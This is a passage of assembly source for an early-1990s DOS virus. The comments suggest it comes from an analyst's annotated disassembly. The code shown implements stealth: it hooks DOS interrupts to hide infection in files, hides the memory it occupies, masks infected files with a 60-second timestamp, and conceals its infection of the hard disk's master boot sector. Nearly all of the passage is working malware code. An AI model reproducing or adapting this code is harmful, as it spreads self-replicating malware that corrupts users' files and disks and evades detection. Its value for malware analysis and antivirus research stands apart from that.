; caller read count. PUSH AX MOV AX, 4200h ; Seek to the host's clean MOV CX, Orig_Size+2 ; header. *** The caller's MOV DX, Orig_Size ; header offset should be ADD DX, OFFSET Host_Header ; added aswell, now it screws ADC CX, 0 ; up on header reads that CALL Do_Old_Int21h ; don't start at offset 0. POP CX ; CX = howmany bytes to ; stealth in header. PUSH BP MOV BP, SP LDS DX, [BP+(3*2)] ; Read buffer of the caller. POP BP MOV AH, 3Fh ; Read the clean header CALL Do_Old_Int21h ; into the caller's buffer. PUSH CS POP DS PUSH AX PUSH CX ADD File_Pos, AX ; Update saved position. ADC File_Pos+2, 0 MOV DX, File_Pos ; Restore file position. MOV CX, File_Pos+2 MOV AX, 4200h CALL Do_Old_Int21h POP CX POP AX SUB CX, AX ; Not all bytes were read? JNZ Error_St_Exit ; Then bail. CMP Read_Count, 0 ; No more bytes need to be JNZ Chk_Body_Reach ; read? Then IRET back. POP CX POP CX MOV AX, CX ; AX = 0. JZ Exit_Stealth_1 Error_St_Exit: POP DX POP DX Exit_Stealth_1: POP DX POP DS JMP IRET_Flags Chk_Body_Reach: POP AX ; Value of AX on entry. PUSH AX MOV CX, File_Pos ; Original fileposition MOV DX, File_Pos+2 ; where the action starts. CMP DX, Orig_Size+2 ; Below virus' 64k ? JB Calc_End_Pos CMP CX, Orig_Size ; Below virus' code? If not, JBE Calc_End_Pos ; the virusbody gets read or ; overwritten, so stealth it. CMP AH, 40h ; If it's a write then go JE Clean_Handle ; disinfect the handle. POP AX POP CX XOR AX, AX ; Return 0 bytes read when JZ Exit_Stealth_1 ; they try to read from after ; the original host. Calc_End_Pos: ADD CX, Read_Count ; Calculate end position ADC DX, 0 ; after the read/write. CMP DX, Orig_Size+2 ; Below the virusbody? JB Do_Function CMP CX, Orig_Size JBE Do_Function CMP AH, 40h ; If it's a write then JE Clean_Handle ; disinfect the handle. MOV CX, Orig_Size MOV DX, Orig_Size+2 SUB CX, File_Pos SBB DX, File_Pos+2 OR DX, DX ; *** Obsolete instruction. JZ Set_New_Byte_C MOV CX, -1 SUB CX, New_Read_Count Set_New_Byte_C: MOV Read_Count, CX Do_Function: POP AX POP CX POP DX POP DS PUSH CX PUSH AX PUSH DX MOV CX, CS:Read_Count ADD DX, CS:New_Read_Count CALL Do_Old_Int21h ADD AX, CS:New_Read_Count POP DX POP CX CMP CH, 3Fh ; It aint a read? Then it's JE Exit_Stealth_2 ; a get/set filedate & time. PUSH AX PUSH DX MOV AX, 5700h ; Get file's date & time. CALL Do_Old_Int21h INC AL ; AX = 5701h. OR CL, (62/2) ; Set 60 seconds. DEC CX CALL Do_Old_Int21h POP DX POP AX Exit_Stealth_2: POP CX JMP IRET_Flags Clean_Handle: MOV WORD PTR Valid_Handle, 0001h MOV File_Handle, BL MOV AX, 4200h ; Seek to the old header. MOV CX, Orig_Size+2 MOV DX, Orig_Size ADD DX, OFFSET Host_Header ADC CX, 0 CALL Do_Old_Int21h MOV AH, 3Fh ; Read it in. MOV CX, 24 MOV DX, OFFSET Buffer NOP CALL Do_Old_Int21h MOV AX, 4200h ; Seek to the old EOF. MOV DX, Orig_Size MOV CX, Orig_Size+2 CALL Do_Old_Int21h MOV AH, 40h ; Write new EOF marker. XOR CX, CX CALL Do_Old_Int21h MOV AX, 4200h ; Seek to BOF. XOR CX, CX XOR DX, DX CALL Do_Old_Int21h MOV AH, 40h ; Restore old header. MOV CX, 24 MOV DX, OFFSET Buffer NOP CALL Do_Old_Int21h MOV AX, 4200h ; Restore original file pos. MOV DX, File_Pos MOV CX, File_Pos+2 CALL Do_Old_Int21h POP AX POP CX POP DX POP DS JMP SHORT JMP_Old_Int21h Check_Win_Exit: POP BX ; Remove return IP off stack. POP CX ; POP program's return CS. PUSH CX PUSH BX PUSH AX DEC CX ; Get program's MCB. MOV DS, CX MOV SI, 8 ; SI = name of terminating ; program. CLD ; Fetch 1st word of filename. LODSW XCHG BX, AX LODSW ; Fetch 2nd word of filename. XCHG DX, AX POP AX CMP BX, 'IW' ; Is it WIN.COM that's JNE J2_J_Old_i21h ; terminating? CMP DX, 'N' JNE J2_J_Old_i21h DEC CS:Windows_Active ; If so, reset the flag. J2_J_Old_i21h: JMP SHORT JMP_Old_Int21h Stealth_Seconds: PUSH AX PUSH CX PUSH DX MOV AX, 5700h ; Get file's date & time. CALL Do_Old_Int21h PUSH AX PUSH CX CALL Check_60_Secs ; Check if it's infected. POP CX POP AX POP DX POP CX POP AX JNE JMP_Old_Int21h ; If it ain't then get out. OR AL, AL ; Get file date & time? JNZ Stealth_Set ; Else it's a set. CALL Do_Old_Int21h ; Do the call. AND CL, 11100000b ; Clear seconds. JMP IRET_Flags Stealth_Set: OR CL, (62/2) ; Set 60 seconds. DEC CX JNZ JMP_Old_Int21h ; This jump is always taken. Do_Old_Int21h: PUSHF ; Simulate an interrupt 21h. CALL DWORD PTR CS:Old_Int21h RETN JMP_Old_Int21h: JMP DWORD PTR CS:Old_Int21h Host_Header: DB 0CDh, 20h DB 22 DUP (0) ; This ISR stealths the first INT 12h and then unhooks itself, this way ; MEM and CHKDSK will report the untouched total DOS memory size. New_Int12h: PUSH DS PUSH ES PUSH BX XOR AX, AX ; DS = IVT. MOV DS, AX LES BX, DWORD PTR CS:Old_Int12h CLI ; Restore original INT 12h. MOV DS:[(12h*4)], BX MOV DS:[(12h*4)+2], ES STI POP BX POP ES POP DS INT 12h ; Do the original INT 12h. ADD AX, Virus_Size_1024 ; Stealth DOS memory size. IRET DB '10/23/92', 0 Origin = BYTE PTR $-1 File_Int21h: CMP AX, 0EEE7h ; Residency check? JE Return_ID_2 CMP AX, 3513h ; Get INT 13h ? JE Get_Int13h_St CMP AX, 3521h ; Get INT 21h ? JE Get_Int21h_St CMP AX, 2513h ; Set INT 13h ? JE Set_Int13h_St CMP AX, 2521h ; Set INT 21h ? JE Set_Int21h_St JMP DWORD PTR CS:600h+(Old_Int21h-File_Int21h) Return_ID_2: MOV AX, 0D703h ; Return ID word to caller. IRET Get_Int13h_St: LES BX, DWORD PTR CS:600h+(Old_Int13h-File_Int21h) IRET Get_Int21h_St: LES BX, DWORD PTR CS:600h+(Old_Int21h-File_Int21h) IRET Set_Int13h_St: MOV CS:600h+(Old_Int13h-File_Int21h), DX MOV CS:600h+(Old_Int13h-File_Int21h)+2, DS IRET Set_Int21h_St: MOV CS:[600h+(Old_Int21h-File_Int21h)], DX MOV CS:[600h+(Old_Int21h-File_Int21h)+2], DS IRET Act_Partition DW 0 Boot_Int13h: CMP DX, 80h ; 1st HD - head zero? JNE JMP_Boot_i13h CMP CX, Virus_Size_512+2 ; Operation concerns the JNB JMP_Boot_i13h ; MBS or virussectors? CMP AH, 02h ; Sector read? JE Check_For_MBS CMP AH, 03h ; Sector write? JE Check_For_MBS JMP_Boot_i13h: JMP DWORD PTR CS:[0000h] ; Jump to the previous ISR. Ofs_Old_Int13h = WORD PTR $-2 Check_For_MBS: CMP CX, 1 ; It's the MBS ? JNE Check_If_Write CMP AH, 02h ; It is a MBS read? JE Do_Read_Write ; Else it's a write. PUSH SI CALL Get_Act_Partition ; Get delta offset to active ; partition. MOV ES:[BX+SI], 0200h ; Set the infected partition ; in the MBS so the written ; MBS will still be infected. POP SI Do_Read_Write: PUSH AX MOV AL, 1 ; Only read/write to the MBS. PUSHF ; Carry out the read/write. CALL DWORD PTR CS:[0] Ofs_Real_Int13h = WORD PTR $-2 POP AX CMP AH, 03h ; It was a write? JE Success_IRET PUSH SI ; Else stealth the read. CALL Get_Act_Partition MOV ES:[BX+SI], 0101h ; Put back the original ; MS-DOS partition start. POP SI CMP AL, 1 JE Success_IRET Check_If_Write: CMP AH, 03h ; It was a write? JE Success_IRET PUSH AX PUSH CX PUSH DX PUSH DI XOR AH, AH MOV DI, BX ; ES:DI = readbuffer. CMP CX, 1 MOV CX, 512 JNE Calc_Sec_Size DEC AX ; Skip the MBS. ADD DI, CX ; Next sector. Calc_Sec_Size: MUL CX ; Sectorcount * 512. OR DX, DX JZ Clear_Buffer MOV CX, 0 Clear_Buffer: XCHG CX, AX CLD Clear_Byte: STOSB LOOP Clear_Byte POP DI POP DX POP CX POP AX Success_IRET: CLC ; Mark success. *** The next ; XOR clears CF already. XOR AH, AH IRET_Flags: PUSH AX LAHF PUSH BP MOV BP, SP MOV [BP+(4*2)], AH ; Set new flags in stack. POP BP POP AX IRET ; Get's the active partition. Get_Act_Partition: CALL Get_Delta_2 Get_Delta_2: POP SI SUB SI, OFFSET Get_Delta_2 MOV SI, CS:[SI+Act_Partition] RETN End_Body: Old_Int08h = WORD PTR $+0 Old_Int21h = WORD PTR $+4 Old_Int01h = WORD PTR $+8 Old_Int12h = WORD PTR $+8 Old_Int13h = WORD PTR $+12 Real_Int13h = WORD PTR $+16 Buffer = $+20 Read_Count = WORD PTR $+44 Host_Size = WORD PTR $+44 New_Read_Count = WORD PTR $+46 File_Pos = WORD PTR $+48 Host_Type = BYTE PTR $+49 Orig_Size = WORD PTR $+52 Valid_Handle = BYTE PTR $+56 File_Handle = BYTE PTR $+57 EXE_Header STRUC EXE_ID DW 0 Image_Mod_512 DW 0 File_512_Pages DW 0 Reloc_Items DW 0 Header_Size DW 0 Min_Size_Mem DW 0 Max_Size_Mem DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Reloc_Table DW 0 EXE_Header ENDS Find_FN_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DW 0, 0 Find_FN_FCB ENDS END START